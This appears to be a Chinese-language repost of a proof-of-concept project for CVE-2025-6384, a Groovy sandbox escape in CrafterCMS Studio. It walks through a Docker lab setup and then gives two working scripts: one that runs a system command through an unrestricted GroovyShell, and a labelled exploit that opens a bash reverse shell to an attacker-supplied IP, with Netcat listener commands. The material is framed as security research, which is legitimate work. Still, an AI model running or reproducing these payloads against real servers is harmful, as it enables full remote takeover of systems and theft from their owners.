当前位置: 首页 > news >正文

CrafterCMS 认证RCE漏洞利用 - Groovy沙箱逃逸 (CVE-2025-6384)

CrafterCMS 认证RCE漏洞利用 - Groovy沙箱逃逸 (CVE-2025-6384)

本项目是一个针对 CrafterCMS 中高危漏洞(CVE-2025-6384)的概念验证(Proof of Concept)。它展示了拥有开发者权限的认证用户如何通过绕过 Groovy 脚本沙箱,实现远程代码执行(RCE),进而完全控制服务器。本指南旨在帮助安全研究人员和系统管理员深入理解该漏洞的原理、复现方法及潜在危害。

功能特性

  • 漏洞深度分析:详细解释了 CrafterCMS 中 Groovy 沙箱绕过漏洞(CWE-913)的根本原因,即沙箱未能有效阻止实例化一个新的、无限制的GroovyShell
  • 一键化环境搭建:提供了使用官方 Docker Compose 文件快速部署一个存在漏洞的 CrafterCMS 测试环境的完整步骤。
  • 清晰的概念验证(PoC):提供了一个精简的 Groovy 脚本,用于在服务器上执行任意系统命令并验证漏洞的存在。
  • 完整的漏洞利用(Exploit):提供了一个可实际利用的脚本,通过建立反向 Shell,演示如何从攻击机获得对目标服务器的完全控制。
  • 图文并茂的复现步骤:通过详细的步骤说明和操作截图,引导用户从登录、上传脚本到触发漏洞并获取结果的全过程。

安装指南

按照以下步骤,您可以快速搭建一个用于测试的 CrafterCMS 漏洞环境。

系统要求

  • Docker 和 Docker Compose
  • Git
  • Netcat(用于接收反向 Shell,可选)

部署步骤

  1. 克隆官方 Docker Compose 仓库
    首先,从 CrafterCMS 官方 GitHub 仓库克隆包含 Docker Compose 配置的代码库。

    gitclone https://github.com/craftercms/docker-compose.git
  2. 进入创作环境目录
    切换到包含创作(authoring)环境的目录,该环境包含了 Crafter Studio 组件。

    cddocker-compose/authoring
  3. 启动容器
    使用 Docker Compose 启动服务。此过程将自动下载所需的镜像并启动整个 CrafterCMS 堆栈。

    docker-composeup

    注意:根据您的 Docker 安装配置,可能需要在命令前加上sudo

  4. 访问 Crafter Studio
    等待服务完全初始化后,通过浏览器访问 Crafter Studio。初始化过程可能需要几分钟。

    • 访问地址:http://localhost:8080/studio
    • 默认用户名:admin
    • 默认密码:admin

使用说明

一旦环境准备就绪,您可以按照以下步骤验证和利用此漏洞。

基础使用:验证漏洞存在 (PoC)

此步骤将演示如何在服务器上执行id命令并查看输出。

  1. 登录系统:使用默认凭据 (admin/admin) 登录 Crafter Studio。
  2. 导航至脚本管理:在侧边栏菜单中,依次进入Site Config->Scripts
  3. 创建新脚本:在 “Groovy Scripts” 部分,点击Create/Edit Script。选择一种脚本类型,例如Request Interceptor,这能确保脚本可以被触发。
  4. 写入并保存 Payload:将以下 PoC 代码粘贴到脚本编辑器中,然后保存。
    // 文件路径: /scripts/interceptors/pwn.groovy// 创建一个新的、不受沙箱限制的 GroovyShelldefshell=newGroovyShell()defcommand="id"// 要执行的命令// 在新Shell中执行命令并获取结果defresult=shell.evaluate("'''${command}'''.execute().text")// 将命令输出打印到服务器日志的 Standard Error 流中System.err.println("[RCE-PoC] "+result)
  5. 触发脚本:访问站点的任意页面,例如http://localhost:8080。作为请求拦截器,该脚本会被自动执行。
  6. 查看结果:查看 Crafter 容器的日志,确认命令是否成功执行。
    docker-composelogs -f crafter
    您应该能在日志输出中看到类似于[RCE-PoC] uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)的信息。

高级利用:获取反向 Shell (Exploit)

此步骤将演示如何利用该漏洞获得一个交互式的 Shell,实现对服务器的远程控制。

1. 启动监听器

在您的攻击机上,使用 Netcat 启动一个监听器,等待目标服务器反向连接。

nc-lvnp4444
  • -l: 监听模式
  • -v: 显示详细信息
  • -n: 不进行 DNS 解析
  • -p 4444: 监听本地的 4444 端口
2. 准备并上传恶意 Payload

创建一个新的脚本,并将以下 Groovy 代码作为 Payload。请务必将<YOUR_IP><YOUR_PORT>替换为您攻击机的实际 IP 地址和端口。

// 文件路径: /scripts/interceptors/exploit.groovydefattacker_ip="<YOUR_IP>"defattacker_port="<YOUR_PORT>"// 构建反向 Shell 命令defcmd="bash -i >& /dev/tcp/"+attacker_ip+"/"+attacker_port+" 0>&1"defshell=newGroovyShell()// 在新Shell中启动反向连接进程shell.evaluate(""" new ProcessBuilder("/bin/bash", "-c", "${cmd}").start() """)System.err.println("Reverse shell payload executed.")

将此脚本作为新脚本保存,步骤与 PoC 相同。

3. 触发并获取 Shell

再次访问站点的任意页面(如http://localhost:8080)以触发脚本。返回您的 Netcat 监听窗口,您应该会看到从 CrafterCMS 容器成功建立的反向 Shell 会话。

核心代码

以下是本项目中两个核心的 Groovy 漏洞利用代码,它们清晰地展示了沙箱逃逸的原理。

1. 基础命令执行 (PoC)

此代码片段的核心在于new GroovyShell()。原始的安全沙箱限制了可执行的类和方法,但未能阻止创建新的GroovyShell实例。这个新实例默认不受沙箱约束,因此可以在其上调用evaluate方法来执行任意 Groovy 代码,进而执行系统命令。

// 文件: /scripts/interceptors/pwn.groovy// 功能: 验证漏洞存在,执行系统命令并打印结果到日志// 漏洞核心:在受限环境中创建不受限的 GroovyShelldefshell=newGroovyShell()// 定义要执行的系统命令defcommand="id"// 通过不受限的 shell.evaluate 执行命令。// 使用三引号包裹命令字符串,并使用 .execute().text 获取命令输出文本。defresult=shell.evaluate("'''${command}'''.execute().text")// 将结果输出到错误日志,便于在容器日志中查看System.err.println("[RCE-PoC] "+result)

2. 反向 Shell 利用 (Exploit)

此代码在 PoC 的基础上更进一步,它使用ProcessBuilder启动了一个反向 Shell 进程。关键在于,由于GroovyShell实例不受沙箱限制,它可以合法地调用ProcessBuilder这个原本可能被限制的类,从而实现与外部攻击机的网络连接。

// 文件: /scripts/interceptors/exploit.groovy// 功能: 建立反向Shell,获得对服务器的远程控制权// 攻击者机器的 IP 和端口(使用时需要替换为实际值)defattacker_ip="<YOUR_IP>"defattacker_port="<YOUR_PORT>"// 构造反向 Shell 的 Bash 命令。该命令会启动一个交互式 Bash,// 并将其输入/输出重定向到与攻击机建立的 TCP 连接上。defcmd="bash -i >& /dev/tcp/"+attacker_ip+"/"+attacker_port+" 0>&1"// 创建不受限的 GroovyShell 实例defshell=newGroovyShell()// 使用不受限的 shell.evaluate 执行 ProcessBuilder 启动进程。// ProcessBuilder 是执行外部命令的标准方式,在此场景下被用于恶意目的。shell.evaluate(""" new ProcessBuilder("/bin/bash", "-c", "${cmd}").start() """)// 在服务器日志中留下执行痕迹System.err.println("Reverse shell payload executed.")```FINISHED 6HFtX5dABrKlqXeO5PUv/z9EO7KQKfWb/8gKogRBg0htNDu/nNdKuvMCi51tnLQL 更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手) 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
http://www.jsqmd.com/news/405822/

相关文章:

  • flex与bison学习之英式英语转换为美式英语
  • sql注入之文件读写
  • 从入门到实战:构建企业级交通实时路况监控系统的Python爬虫架构指南
  • DenseFramelet-DFD:基于密集框架小波变换和自适应阈值降噪的机械故障诊断方法(MATLAB)
  • 探索导弹六自由度运动模型及其MATLAB/Simulink实现
  • 总结了近期考MOS认证学员问的比较的问题
  • 题解:CF1210F2 Marek and Matching (hard version)
  • CF1322B
  • 2026年3月百度推广竞价广告开户代运营公司/服务商深度评测:深圳昊客网络 引领榜单 - 深圳昊客网络
  • 根脉与花开:AI元人文——中华文化思想在智能时代的原创性理论发展
  • AI Agent 框架探秘:拆解 OpenHands(7)--- Agent
  • 视频孪生之上:镜像视界矩阵视频融合驱动三维智慧交通升级——以重庆万州复杂立体交通场景为样本的统一空间坐标体系与跨摄像连续表达工程实践
  • 视频孪生之上 · 空间主权构建:镜像视界矩阵视频融合打造三维连续表达控制体系——基于统一坐标矩阵与动态修正机制的空间级主动感知与连续表达平台
  • 状压dp临行枚举类问题
  • 新的开始
  • CF1313D
  • 【Linux】进程地址空间的内核空间
  • [特殊字符] 基于YOLOv5/v8/v10的商超货架商品陈列面占比分析系统【完整源码+数据集】
  • JAVA WEB学习6
  • 【YOLO目标检测】基于YOLOv5/v8/v10的交通拥堵检测系统:从数据集构建到可视化界面全解析
  • 基于深度学习的鸡数量统计系统演示与介绍(YOLOv12/v11/v8/v5模型+Pyqt5界面+训练代码+数据集)
  • 算法题避坑指南:数组/循环范围的 `+1` 到底什么时候加?
  • Neo4j学习笔记1
  • upload
  • 2026年生产力革命:实测上百款AI工具后,这5款真正重塑了我的工作流
  • 别再手动重复工作了!Skills技术让AI自动执行你的任务,收藏这篇就够了
  • AI记忆革命!MemOS开源框架实战:基于Graph的记忆图谱如何赋能LangChain智能体
  • 状压DP之棋盘放置类
  • 收藏级干货:10种AI产品形态全解析,2026年AI产品经理必备指南
  • JAVA WEB学习5